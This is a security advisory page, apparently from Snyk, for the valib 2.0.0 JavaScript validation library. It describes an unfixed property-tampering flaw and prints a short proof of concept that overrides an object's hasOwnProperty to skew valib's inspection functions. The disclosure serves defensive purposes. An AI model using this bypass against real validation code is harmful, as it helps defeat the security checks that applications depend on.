Homepage
About Snyk

valib@2.0.0 vulnerabilities

A validation library for both the browser and Node.js

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the valib package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Internal Property Tampering

valib is an A standalone javascript library tailored for validation.

Affected versions of this package are vulnerable to Internal Property Tampering. A maliciously crafted JavaScript object can bypass several inspection functions provided by valib. Valib uses a built-in function (hasOwnProperty) from the unsafe user-input to examine an object. It is possible for a crafted payload to overwrite this function to manipulate the inspection results to bypass security checks.

PoC by Feng Xiao (xiaofen9)

"use strict";
var valib = require('valib');
var json = {
    key1: null,
    key2: {
        url: "http://example.com"
    },
    key3: "17850",
    key4: "OK",
    key5: "2012-10-06T04:13:00+00:00",
    key6: [1, 2, 3],
    key7: "Yes"
};
json.hasOwnProperty = function(val) {return false;}
function test(userJson){
    console.log(valib.Object.isEmpty(userJson));
    console.log(valib.Object.countKeys(userJson));
    console.log(valib.Object.hasValue(userJson, "Yes"));
}
test(json);

How to fix Internal Property Tampering?

There is no fixed version for valib.

*
Go back to all versions of this package